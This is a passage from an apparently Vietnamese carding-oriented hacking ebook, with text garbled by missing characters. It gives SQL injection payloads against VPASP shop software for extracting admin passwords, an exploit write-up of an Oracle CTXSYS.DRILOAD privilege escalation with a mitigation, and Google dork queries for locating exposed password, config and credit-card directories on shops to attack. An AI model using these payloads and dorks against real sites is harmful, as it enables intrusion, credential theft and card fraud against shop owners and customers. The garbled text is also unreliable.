Vi c tìm link c a shop này là khá đ n gi n: />1 h 00: Ngoài ra còn có nhi u cách khác đ l y đ c thông tin ta c n nh là Exploit:
Update Email, Insert User… đ th c hi n nh ng câu l nh này các b n ph i bi t mình
đang làm gì và c n nh ng gì. (Xem h ng d n s d ng nh ng câu l nh SQL ph n trên
c a Ebook này) .
1 h 15:
bi t đ c các câu l nh trong bài vi t này, các b n c n xem l i Ebook Hacking
Credit Card version 1 và version 2. Trong bài vi t này hieupc h n ch vi c đ a ra câu
l nh truy v n vì hieupc không mu n l p đi l p l i nh ng th đã đ c nh c đi nh c l i
nhi u l n Ebook Hacking Credit Card version 1, version 2 và c nh ng di n đàn tin
h c khác. Chúc vui.
1 h 30: L u ý: Nh v y là vi c exploit Shop Ebox di n ra khá lâu và có ph n h i ph c
t p. Tuy nhiên hieupc ch d ng l i vi c login và không view b t c m t orders nào c a
shop c . Hy v ng là các b n s hi u đ c đi u tôi nói. Nó ch góp ph n c ng c thêm
ki n th c c a b n và đ ng nên qu y phá hay th ng m i hoá nh ng th mà b n đã hack
đ c hay exploit mà có. Và c ng đ ng quá mãn nguy n nh ng gì mình đang có, hãy luôn
c g ng và c g ng. Và đ ng qúa ham mê vi tính, cho dù nó là s thích c a b n, hãy dành
ít th i gian cho gia đình và b n bè, cu c s ng ngoài kia đang r t vui và ch đón các b n,
đ ng ch t già ch t mòn bên cái máy tính c a b n. Hãy s ng sao đúng v i ý ngh a c a

cu c s ng.

C m Thêm: Exploit Pass 2

VPASP

1 h 45: u tiên ph i nói đi u này hieupc đ c các b n h i nhi u nh t, và hieupc đ u tr
l i : “không bi t” hay “các b n t tìm tòi, tìm hi u, nghiên c u th xem…”, th c ch t nó
r t d n u nh các b n ch u nghiên c u nh . Và m t đi u n a, đáng l ra hieupc đã đ a
bài vi t này vào “Ebook Hacking Credit Card Version 2”, nh ng th y các b n không ch u


khó tí nào, ch toàn ph thu c cho nên hieupc th y nãn l m, và ch đ a các bài ít có giá tr
khác đ làm phong phú thêm n i dung c a “Ebook Hacking Credit Card Version 2”
1 h 50:
ây là câu l nh các b n c n đ Exploit Pass 2 VPASP, nó gi ng nh là l y username và
password, tuy ch có khác chút ít. Khi đã có đ c username và password thì b n thay
table đ c tô màu đ vào là có password number two:
union select fieldname='xadminpage'
,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalue,2
8,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 from configuration'
Cái này không c n gi i thích thêm, b i vì nó gi ng nh là cách exploit username và
password. Ngoài ra các b n có th th b ng câu l nh truy v n này:
shopexd.asp?id=1%20union%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalu
e,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20configuratio
n%20where%%20fieldname='xadminpage'
Các b n th y ch a nó th t là d , ch t i các b n không ch u nghiên c u, “hãy nghiên c u
đi u b n mu n bi t th t k và hi u th u nó tr c khi h i, s là r t t t cho b n”. Hieupc nói
có nói gì thì đ c lòng tr c, m t lòng sau mong các b n hi u.


L i SQL Injection trong Oracle có th nâng quy n Tài kho n
Chuyên viên phân tích : Ngô B o Di p
1. Thông tin chung
N u k t n công có m t tài kho n ng i dùng bình th ng trong Oracle, h n có th th c hi n
m t s câu l nh đánh vào đi m y u c a Oracle trong hai phiên b n 8i và 9i, nh m m c đích nâng
quy n truy nh p tài kho n lên m c qu n tr . T đây, h n có toàn quy n v i h qu n tr c s d
li u này.
Ph n m m b đi m y u

Ngày phát hi n
12/2005




T
h
T
h

tc
đi
tc
đi

các phiên b n Oracle Database 8i trên m i
u hành
các phiên b n Oracle Database 9i trên m i
u hành


M c đ nguy hi m

Nguy Hi m


2. Mô t k thu t
Trong C s d li u Oracle, ng i dùng đ c chia ra thành 2 nhóm quy n : nhóm Privileged và
nhóm Object. Ng i dùng thu c nhóm Privileged có toàn quy n v i CSDL nh t o ra User m i,
thay đ i quy n các User khác, thay đ i d li u, thay đ i các thông s c u hình CSDL, thay đ i
các file log, xem tình tr ng các ti n trình c a CSDL v.v... Chú ý r ng m t Oracle Database Server
có th có nhi u CSDL và SYSDBA có toàn quy n đ i v i t t c các CSDL đó. User thu c nhóm
Object ch có nh ng quy n nh t đ nh (do Privileged User c p) đ i v i CSDL. Nh ng User thu c
nhóm Privileged g i là có quy n SYSDBA. Nhóm Object bao g m nh ng Account h n ch ,
không có quy n SYSDBA.
CTXSYS.DRILOAD là 1 m t package nh trong CTXSYS Schema. Trong package này có t n t i
các hàm và th t c b l i SQL Injection. Khai thác l h ng này m t account bình th ng có th
tr thành m t account v i quy n SYSDBA qu n tr Database server.
L i SQL Injection trong CTXSYS.DRILOAD có các đ c đi m nh sau:



B khai thác b i nh ng ng
này ch c n quy n bình th
R t d khai thác.

i dùng có account truy nh p t i c s d li u. Account
ng, không c n quy n SYSDBA.

M c đ nh m i account đ u có quy n EXECUTE trên gói CTXSYS.DRILOAD. Do đó m t account

bình th ng ch c n đ ng nh p vào và th c hi n m t câu l nh nguy hi m, ngay l p t c tài kho n
này tr thành SYSDBA và có toàn quy n đ i v i m i CSDL trên Oracle Database Server.
3. Khai thác l h ng
Chúng tôi ti n hành khai thác l h ng này trên các Máy ch có cài đ t Oracle Database 8i và 9i.
K thu t viên c a chúng tôi, đ ng nh p và Máy ch v i tài kho n ng i dùng bình th ng có
m c đ nh khi cài Oracle.


Sau khi th c hi n câu l nh đánh vào đi m y u c a hai phiên b n trên, trên màn hình xu t hi n
thông báo :
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
Tuy nhiên, tài kho n này đã đ
d li u này.

c nâng quy n lên SYSDBA và có toàn quy n v i Máy ch c s

4. Gi i pháp phòng ch ng
Oracle đã vá l i này trong b n vá l i Critical Patch Update tháng (CPU October 2005). Tuy nhiên
ch có các t ch c, cá nhân mua s n ph m c a Oracle m i có th download đ c các b n vá l i.
download, vào trang , sau đó vào tab Patches. Ng i
dùng download b n patch theo h ng d n c a tài li u Metalink có ID 281189.1.
Ngoài ra, chúng tôi đ a ra l i khuyên v i các qu n tr Oracle Database Server, các b n có th t
b t l h ng này b ng cách b quy n Execute trên CTXSYS.DRILOAD. C th các b c nh sau:






Vào SQL*plus và login v i tài kho n qu n tr .
Th c hi n l nh sau: REVOKE EXECUTE ON CTXSYS.DRILOAD FROM PUBLIC
FORCE;


Nh ng cú pháp tìm ki m nâng cao v i Google
Giúp cho vi c tìm shop l i đ t hi u qua cao.
D i đây th o lu n v nh ng l nh đ c bi t c a Google và tôi s gi i thích t ng l nh m t
cách ng n g n và nói rõ nó đ c s d ng nh th nào đ tìm ki m thông tin.
[ intitle: ]
Cú pháp “intitle:” giúp Google gi i h n k t qu tìm ki m v nh ng trang có ch a t đó
trong tiêu đ . Ví d , “intitle: login password” (không có ngo c kép) s cho k t qu là
nh ng link đ n nh ng trang có t "login" trong tiêu đ , và t "password" n m đâu đó
trong trang.
T ng t , n u ta mu n truy v n nhi u h n m t t trong tiêu đ c a trang thì ta có th
dùng “allintitle:” thay cho “intitle” đ có k t qu là nh ng trang có ch a t t c nh ng t
đó trong tiêu đ . Ví d nh dùng
“intitle: login intitle: password” c ng gi ng nh truy v n “allintitle: login password”.
[ inurl: ]
Cú pháp “inurl:” gi i h n k t qu tìm ki m v nh ng đ a ch URL có ch a t khóa tìm
ki m. Ví d : “inurl: passwd” (không có ngo c kép) s cho k t qu là nh ng link đ n
nh ng trang có t "passwd" trong URL.
T ng t , n u ta mu n truy v n nhi u h n m t t trong URL thì ta có th dùng
“allinurl:” thay cho “inurl” đ đ c k t qu là nh ng URL ch a t t c nh ng t khóa
tìm ki m.Ví d : “allinurl: etc/passwd“ s tìm ki m nh ng URL có ch a “etc” và
“passwd”. Ký hi u g ch chéo (“/”) gi a các t s b Google b qua.
[ site: ]
Cú pháp “site:” gi i h n Google ch truy v n nh ng t khóa xác đ nh trong m t site ho c

tên mi n riêng bi t. Ví d : “exploits site:hackingspirits.com” (không có ngo c kép) s tìm
ki m t khóa “exploits” trong nh ng trang hi n có trong t t c các link c a tên mi n
“hackingspirits.com”. Không có kho ng tr ng nào gi a “site:” và “tên mi n”.
[ filetype: ]
Cú pháp “filetype:” gi i h n Google ch tìm ki m nh ng files trên internet có ph n m
r ng riêng bi t (Ví d : doc, pdf hay ppt v.v...). Ví d : “filetype:doc site:gov confidential”
(không có ngo c kép) s tìm ki m nh ng file có ph n m r ng là “.doc” trong t t c
nh ng tên mi n c a chính ph có ph n m r ng là “.gov” và ch a t “confidential”(bí
m t) trong trang ho c trong file “.doc”. Ví d . K t qu s bao g m nh ng liên k t đ n t t
c các file v n b n bí trên các site c a chính ph .
[ link: ]
Cú pháp “link:” s li t kê nh ng trang web mà có các liên k t đ n đ n nh ng trang web
ch đ nh. Ví d :
chu i “link:www.securityfocus.com” s li t kê nh ng trang web có liên k t tr đ n trang
ch SecurityFocus.
Chú ý không có kho ng tr ng gi a "link:" và URL c a trang Web.
[ related: ]
Cú pháp “related:” s li t kê các trang Web "t ng t " v i trang Web ch đ nh. Ví d :
“related:www.securityfocus.com” s li t kê các trang web t ng t v i trang ch
Securityfocus. Nh r ng không có kho ng tr ng gi a "related:" và URL c a trang Web.
[ cache: ]
Truy v n “cache:” s cho k t qu là phiên b n c a trang Web mà mà Google đã l u l i.
Ví d :
“cache:www.hackingspirits.com” s cho ra trang đã l u l i b i Google's. Nh r ng
không có kho ng tr ng gi a "cache:" và URL c a trang web.


N u b n bao g m nh ng t khác trong truy v n, Google s đi m sáng nh ng t này
trong v n b n đã đ c l u l i.
Ví d : “cache:www.hackingspirits.com guest” s cho ra v n b n đã đ c l u l i có t

"guest" đ c đi m sáng.
[ intext: ]
Cú pháp “intext:” tìm ki m các t trong m t website riêng bi t. Nó ph t l các liên k t
ho c URL và tiêu đ c a trang.
Ví d : “intext:exploits” (không có ngo c kép) s cho k t qu là nh ng liên k t đ n
nh ng trang web có t khóa tìm ki m là "exploits" trong các trang c a nó.
[ phonebook: ]
“phonebook” tìm ki m thông tin v các đ a ch đ ng ph
M và s đi n tho i. Ví d :
“phonebook:Lisa+CA” s li t kê t t c các tên ng i có t “Lisa” trong tên và
“California (CA)”. Cú pháp này có th đ c s d ng nh là m t công c tuy t v i c a tin
t c trong tr ng h p ai đó mu n tìm ki m thông tin cá nhân cho công vi c xã h i.
Truy v n các site ho c server d b t n công s d ng các cú pháp nâng cao c a Google
Nh ng cú pháp truy v n nâng cao th o lu n trên th c s có th giúp ng
xác hóa các tìm ki m và có đ c nh ng gì h th c s tìm ki m.

i ta chính

Bây gi Google tr thành m t máy tìm ki m thông minh, nh ng ng i dùng có ác ý
không h b n tâm khai thác kh n ng c a nó đ đào b i nh ng thông tin bí m t t
internet mà ch có s truy c p gi i h n. Bây gi tôi s th o lu n nh ng k thu t này m t
cách chi ti t làm th nào đ nh ng ng i dùng ác tâm đào b i thông tin trên internet s
d ng Google nh m t công c .
S d ng cú pháp “Index of ” đ tìm ki m các site cho phép duy t ch m c
M t webserver(máy ch web) cho phép duy t ch m c ngh a là b t k ai có th duy t
các th m c c a webserver nh các th m c n i b thông th ng. đây tôi s th o
lu n làm th nào đ s d ng cú pháp "index of" đ có m t danh sách các liên k t đ n
webserver cho phép duy t th m c.
Cách này tr thành m t ngu n d dàng cho vi c thu th p thông tin c a tin t c. T ng
t ng n u h n m đ c các file m t kh u ho c các file nh y c m khác mà bình th ng

không th th y đ c trên internet.
D i đây là vài Ví d s d ng đ có đ c quy n truy c p vào r t nhi u thông tin nh y
c m d dàng h n r t nhi u:
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
Tìm ki m các site ho c server d b t n công s d ng cú pháp “inurl:” ho c
“allinurl:”


×